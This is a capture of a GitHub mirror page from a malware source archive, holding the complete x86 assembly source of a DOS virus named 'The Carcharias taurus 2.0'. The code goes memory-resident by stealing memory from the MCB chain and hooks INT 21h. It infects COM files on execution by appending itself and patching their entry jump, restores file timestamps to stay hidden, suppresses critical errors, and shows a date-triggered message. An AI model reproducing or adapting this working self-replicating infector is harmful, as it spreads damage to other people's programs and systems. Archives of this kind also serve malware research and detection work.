mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
378 lines
11 KiB
NASM
378 lines
11 KiB
NASM
TITLE The Carcharias taurus 2.0
|
||
.MODEL Tiny
|
||
.CODE
|
||
.STARTUP
|
||
|
||
; Some Constants -------------------------------------------------------------
|
||
DogSize equ 584-16-6
|
||
; ----------------------------------------------------------------------------
|
||
|
||
db 0E9h ; JMP Loader
|
||
dw 3
|
||
db 0
|
||
dw 0256h
|
||
; ************************** DOG LOADER **************************************
|
||
Loader:
|
||
|
||
call GetBP ; Get BP
|
||
GetBP: pop BP
|
||
sub BP, 103h
|
||
push AX ; Save AX
|
||
|
||
; Find Z-MCB -----------------------------------------------------------------
|
||
mov AH, 52h
|
||
int 21h
|
||
|
||
mov DX, ES:[BX-2]
|
||
mov DI, (OFFSET Place)-6
|
||
mov DS:[BP+DI], DX
|
||
|
||
NEXT0:
|
||
mov DI, (OFFSET Place)-6
|
||
mov ES, DS:[BP+DI]
|
||
mov DX, ES:[3] ; Calc the next MCB seg
|
||
inc DX
|
||
add DS:[BP+DI], DX
|
||
|
||
cmp ES:[0], byte ptr 'Z'
|
||
jne NEXT0
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Looking for the Dog behind Z-MCB -------------------------------------------
|
||
push ES
|
||
mov DX, ES
|
||
add DX, ES:[3]
|
||
inc DX
|
||
mov ES, DX
|
||
mov DX, ES:[3]
|
||
pop ES
|
||
cmp DX, 815Dh ; 815Dh - Dog's bytes
|
||
je LExit
|
||
; ----------------------------------------------------------------------------
|
||
|
||
|
||
; Eat 1K in the Z-MCB, Current PSP, BIOS Data --------------------------------
|
||
|
||
push DS
|
||
sub ES:[3], word ptr 40h ; Dec Z-MCB
|
||
|
||
mov AH, 62h
|
||
int 21h
|
||
mov DS, BX
|
||
sub DS:[2], word ptr 40h ; Dec Curr PSP
|
||
|
||
xor DX, DX
|
||
mov DS, DX
|
||
dec word ptr DS:[413h]
|
||
|
||
pop DS
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Calculate Dog's segment adress ---------------------------------------------
|
||
mov DX, CS
|
||
add DX, ES:[3]
|
||
mov ES, DX
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Now load the Dog -----------------------------------------------------------
|
||
xor DI, DI
|
||
mov SI, BP
|
||
add SI, 100h
|
||
mov CX, DogSize
|
||
cld
|
||
rep movsb
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Hook 21h -------------------------------------------------------------------
|
||
; Get old vector
|
||
push ES
|
||
mov AX, 3521h
|
||
int 21h
|
||
mov DX, ES
|
||
pop ES
|
||
mov DI, (OFFSET Exit21h)-100h-6+1
|
||
mov ES:[DI], BX
|
||
inc DI
|
||
inc DI
|
||
mov ES:[DI], DX
|
||
|
||
; Set 21h to Dog
|
||
mov AX, 2521h
|
||
mov DX, (OFFSET Dog)-100h-6
|
||
push DS
|
||
push ES
|
||
pop DS
|
||
int 21h
|
||
pop DS
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Loader Exit ----------------------------------------------------------------
|
||
LExit:
|
||
; Restore first 6 bytes
|
||
mov DI, (OFFSET M_6Bytes)-6
|
||
mov AX, word ptr DS:[BP+DI]
|
||
inc DI
|
||
inc DI
|
||
mov BX, word ptr DS:[BP+DI]
|
||
inc DI
|
||
inc DI
|
||
mov CX, word ptr DS:[BP+DI]
|
||
mov word ptr CS:[100h], AX
|
||
mov word ptr CS:[102h], BX
|
||
mov word ptr CS:[104h], CX
|
||
|
||
; Restore all registers
|
||
pop AX
|
||
xor BX, BX
|
||
xor CX, CX
|
||
xor DI, DI
|
||
xor SI, SI
|
||
xor BP, BP
|
||
mov DX, 100h
|
||
push DX
|
||
xor DX, DX
|
||
push DS
|
||
pop ES
|
||
ret
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; ************************** END of DOG LOADER *******************************
|
||
|
||
|
||
; ******************************* DOG **************************************
|
||
Dog:
|
||
pushf
|
||
cmp AX, 4B00h
|
||
je D01
|
||
jmp QuickExit
|
||
D01: push AX
|
||
push BX
|
||
push CX
|
||
push DX
|
||
push DI
|
||
push SI
|
||
push DS
|
||
push ES
|
||
|
||
push DX ; Store file name
|
||
push DS
|
||
|
||
|
||
; Effect ? -------------------------------------------------------------------
|
||
mov AH, 2Ah
|
||
int 21h
|
||
cmp CX, 1993 ; After 1992
|
||
jb EExit
|
||
cmp DH, 1 ; Jan,
|
||
jne EExit
|
||
mov AH, 2Ch
|
||
int 21h
|
||
cmp CH, 14
|
||
jne EExit
|
||
cmp CL, 30
|
||
jb EExit
|
||
; yes!
|
||
push CS
|
||
pop DS
|
||
mov CX, 20
|
||
mov AH, 2
|
||
mov SI, (OFFSET Tired)-100h-6
|
||
CHN: mov DL, byte ptr DS:[SI]
|
||
inc SI
|
||
dec DL
|
||
int 21h
|
||
loop CHN
|
||
; cli
|
||
; hlt
|
||
; ----------------------------------------------------------------------------
|
||
|
||
EExit:
|
||
; Store old int 24h vector ---------------------------------------------------
|
||
mov AX, 3524h ; Get intrpt vector (ES:BX)
|
||
int 21h
|
||
mov DI, (OFFSET Old24h)-100h-6
|
||
mov CS:[DI], BX ; Store BX
|
||
inc DI
|
||
inc DI
|
||
mov CS:[DI], ES ; Store ES
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Set new int 24h handler ----------------------------------------------------
|
||
mov AX, 2524h ; Set intrpt vector (DS:DX)
|
||
mov DX, (OFFSET INT24)-100h-6
|
||
push CS
|
||
pop DS
|
||
int 21h
|
||
; ----------------------------------------------------------------------------
|
||
|
||
|
||
; -----------------------------------------------------
|
||
pop DS
|
||
pop DX
|
||
; ----------------------------------------------------------------------------
|
||
|
||
|
||
; Open the file --------------------------------------------------------------
|
||
mov AX, 3D02h
|
||
int 21h
|
||
mov DI, (OFFSET Handle)-100h-6
|
||
mov CS:[DI], AX
|
||
jnc D02
|
||
jmp DExit
|
||
D02:
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Read 1st 6 bytes -----------------------------------------------------------
|
||
push CS
|
||
pop DS
|
||
mov AH, 3Fh
|
||
mov DI, (OFFSET Handle)-100h-6
|
||
mov BX, CS:[DI]
|
||
mov DX, (OFFSET M_6Bytes)-100h-6
|
||
mov CX, 6
|
||
int 21h
|
||
jnc D03
|
||
jmp DExit
|
||
|
||
D03:
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Check File Format ----------------------------------------------------------
|
||
mov DI, (OFFSET M_6Bytes)-100h-6
|
||
cmp CS:[DI], 4D5Ah
|
||
jne D04
|
||
jmp DExit
|
||
D04: cmp CS:[DI], 5A4Dh
|
||
je DExit
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Check File for Dog ---------------------------------------------------------
|
||
cmp CS:[DI+3], 0256h
|
||
je DExit
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Get and Store file Date&Time -----------------------------------------------
|
||
mov AX, 5700h
|
||
mov DI, (OFFSET Handle)-100h-6
|
||
mov BX, CS:[DI]
|
||
int 21h
|
||
mov DI, (OFFSET FDate)-100h-6
|
||
mov CS:[DI], DX
|
||
inc DI
|
||
inc DI
|
||
mov CS:[DI], CX
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Get and Store file Size ----------------------------------------------------
|
||
mov AX, 4202h
|
||
mov DI, (OFFSET Handle)-100h-6
|
||
mov BX, CS:[DI]
|
||
xor DX, DX
|
||
xor CX, CX
|
||
int 21h
|
||
mov DI, (OFFSET FSize)-100h-6
|
||
sub AX, 3
|
||
mov CS:[DI], AX
|
||
cmp AX, 64512
|
||
ja DExit
|
||
cmp AX, 6
|
||
jb DExit
|
||
; ----------------------------------------------------------------------------
|
||
|
||
|
||
; Add Dog to the file --------------------------------------------------------
|
||
push CS
|
||
pop DS
|
||
mov AH, 40h
|
||
mov DI, (OFFSET Handle)-100h-6
|
||
mov BX, CS:[DI]
|
||
mov CX, DogSize
|
||
xor DX, DX
|
||
int 21h
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Write 1st 6 bytes to file --------------------------------------------------
|
||
; Move file ptr to the start
|
||
mov AX, 4200h
|
||
mov DI, (OFFSET Handle)-100h-6
|
||
mov BX, CS:[DI]
|
||
xor DX, DX
|
||
xor CX, CX
|
||
int 21h
|
||
; Write ...
|
||
mov AH, 40h
|
||
mov DI, (OFFSET Handle)-100h-6
|
||
mov BX, CS:[DI]
|
||
mov CX, 6
|
||
mov DX, (OFFSET DogCall)-100h-6
|
||
int 21h
|
||
; ----------------------------------------------------------------------------
|
||
|
||
DExit:
|
||
|
||
; Set file Date&Time ---------------------------------------------------------
|
||
mov AX, 5701h
|
||
mov DI, (OFFSET Handle)-100h-6
|
||
mov BX, CS:[DI]
|
||
mov DI, (OFFSET FDate)-100h-6
|
||
mov DX, CS:[DI]
|
||
inc DI
|
||
inc DI
|
||
mov CX, CS:[DI]
|
||
int 21h
|
||
; ----------------------------------------------------------------------------
|
||
|
||
|
||
; Close the file -------------------------------------------------------------
|
||
mov AH, 3Eh
|
||
mov DI, (OFFSET Handle)-100h-6
|
||
mov BX, CS:[DI]
|
||
int 21h
|
||
; ----------------------------------------------------------------------------
|
||
|
||
; Restore int 24h ------------------------------------------------------------
|
||
mov AX, 2524h ; Set intrpt vector (DS:DX)
|
||
mov DI, (OFFSET Old24h)-100h-6
|
||
mov DX, CS:[DI]
|
||
inc DI
|
||
inc DI
|
||
mov DS, CS:[DI]
|
||
int 21h
|
||
; ----------------------------------------------------------------------------
|
||
|
||
pop ES
|
||
pop DS
|
||
pop SI
|
||
pop DI
|
||
pop DX
|
||
pop CX
|
||
pop BX
|
||
pop AX
|
||
|
||
QuickExit: popf
|
||
Exit21h: db 0EAh
|
||
Int21hIP: dw 0 ; BX
|
||
Int21hCS: dw 0 ; ES
|
||
|
||
; Int 24h handler ------------------------------------------------------------
|
||
INT24: xor al, al ; Ignore critical error
|
||
iret
|
||
; ----------------------------------------------------------------------------
|
||
|
||
|
||
; **************************** END of DOG **********************************
|
||
|
||
DogData:
|
||
M_6Bytes db 90h, 90h, 90h, 90h, 90h, 0C3h
|
||
Tired db 11, 11, 'Ibqqz!Ofx!Zfbs!"', 14, 11
|
||
DogCall db 0E9h
|
||
FSize dw 0606h
|
||
Sign db 'V', 2
|
||
Handle dw 0606h
|
||
Vers dw 0606h
|
||
FDate dw 0606h, 0606h ; Date, Time
|
||
Old24h dw 0606h, 0606h ; BX:ES
|
||
Attrib dw 0606h
|
||
Place dw 0606h
|
||
END
|
||
|